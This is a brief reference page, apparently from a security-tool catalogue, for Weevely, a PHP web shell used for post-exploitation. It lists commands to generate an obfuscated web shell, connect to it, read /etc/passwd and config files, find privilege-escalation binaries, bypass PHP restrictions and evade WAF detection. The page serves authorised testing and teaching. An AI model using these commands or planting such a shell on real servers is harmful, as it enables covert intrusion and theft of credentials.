Post Exploitation
Weevely is a stealthy PHP web shell designed for post-exploitation validation. It simulates a telnet-like terminal connection over HTTP, obfuscating communications within standard request vectors.
sudo apt install weevely
weevely <action> [arguments]
Weevely is a stealthy PHP web shell generator and connector designed for post-exploitation. It creates obfuscated PHP agents that communicate over HTTP, providing a telnet-like terminal for remote command execution.
By mimicking normal HTTP traffic and using password-protected agents, Weevely enables covert access to compromised web servers while minimizing detection by WAFs and logging systems.
weevely generate <PASS> /path/to/agent.phpGenerate an obfuscated PHP agent (web shell) protected by a passwordweevely http://example.com/agent.php <PASS>Open an interactive terminal session on the deployed agentweevely http://example.com/agent.php <PASS> idRun a single command through the agent and exitweevely session /path/to/session.sessionResume a previously saved session file:helpList all modules available in the current session:system_infoCollect remote system information (OS, PHP version, paths):system_procsList running processes on the target:audit_etcpasswdRead /etc/passwd using several fallback techniques:audit_suidsgidFind SUID/SGID binaries useful for privilege escalation:audit_filesystemAudit the filesystem for writable and sensitive files:audit_disablefunctionbypassAttempt to bypass PHP disable_functions restrictions:file_ls /var/wwwList the contents of a remote directory:file_download /etc/passwd ./passwdDownload a file from the target to the local machine:file_upload ./exploit.sh /tmp/exploit.shUpload a local file to the target:file_read /var/www/html/config.phpRead the contents of a remote fileMaintain access to compromised web servers.
Upload/download files through HTTP tunnel.
Run system commands via stealthy channel.
Use web server as pivot to internal networks.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.